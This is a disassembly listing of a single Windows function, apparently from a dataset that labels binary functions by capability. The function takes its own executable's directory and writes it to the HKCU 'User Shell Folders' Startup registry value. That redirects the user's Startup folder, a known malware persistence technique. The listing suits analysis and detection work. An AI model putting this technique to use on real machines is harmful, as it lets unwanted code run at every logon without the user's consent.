Function at 0x401040
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
push str.Attempting_to_get_full_path_to_the_executable..._n
call fcn.00401010
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0x400
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x401091
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Unable_to_alloc_memory:__d_n
call fcn.00401010
add esp, 8
or eax, 0xffffffff
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x400
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x4010c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetModuleFileNameA_return_code_is_0__GetLastError__:__d_n
call fcn.00401010
add esp, 8
or eax, 0xffffffff
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
lea esi, [eax + edi]
cmp esi, edi
jb 0x4010da
nop dword [eax + eax]
cmp byte [esi], 0x5c
je 0x4010f1
dec esi
cmp esi, edi
jae 0x4010d0
push str.Unable_to_strip_to_directory_n
call fcn.00401010
add esp, 4
or eax, 0xffffffff
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
sub esi, edi
cmp esi, 0xffffffff
je 0x4010da
lea eax, [esi + 1]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40112b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Unable_to_alloc_memory:__d_n
call fcn.00401010
add esp, 8
or eax, 0xffffffff
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, esi
mov ecx, ebx
test esi, esi
je 0x401146
sub edi, ebx
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x401135
mov edi, dword [ebp - 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
mov byte [ebx + esi], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push str.Full_directory_path_is:__s_n
call fcn.00401010
add esp, 8
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x401213
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x401213
push dword [ebp - 0x10]
push ebx
push 2
push eax
push str.Startup
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, eax
test esi, esi
je 0x4011cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.RegSetValueExA_status:__d__GetLastError__:__d
call fcn.00401010
add esp, 0xc
or eax, 0xffffffff
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
test esi, esi
je 0x401205
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.RegCloseKey_status:__d__GetLastError__:__d
call fcn.00401010
add esp, 0xc
or eax, 0xffffffff
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004060e7
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str.RegOpenKeyA_status:__d__GetLastError__:__d
call fcn.00401010
add esp, 0xc
or eax, 0xffffffff
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret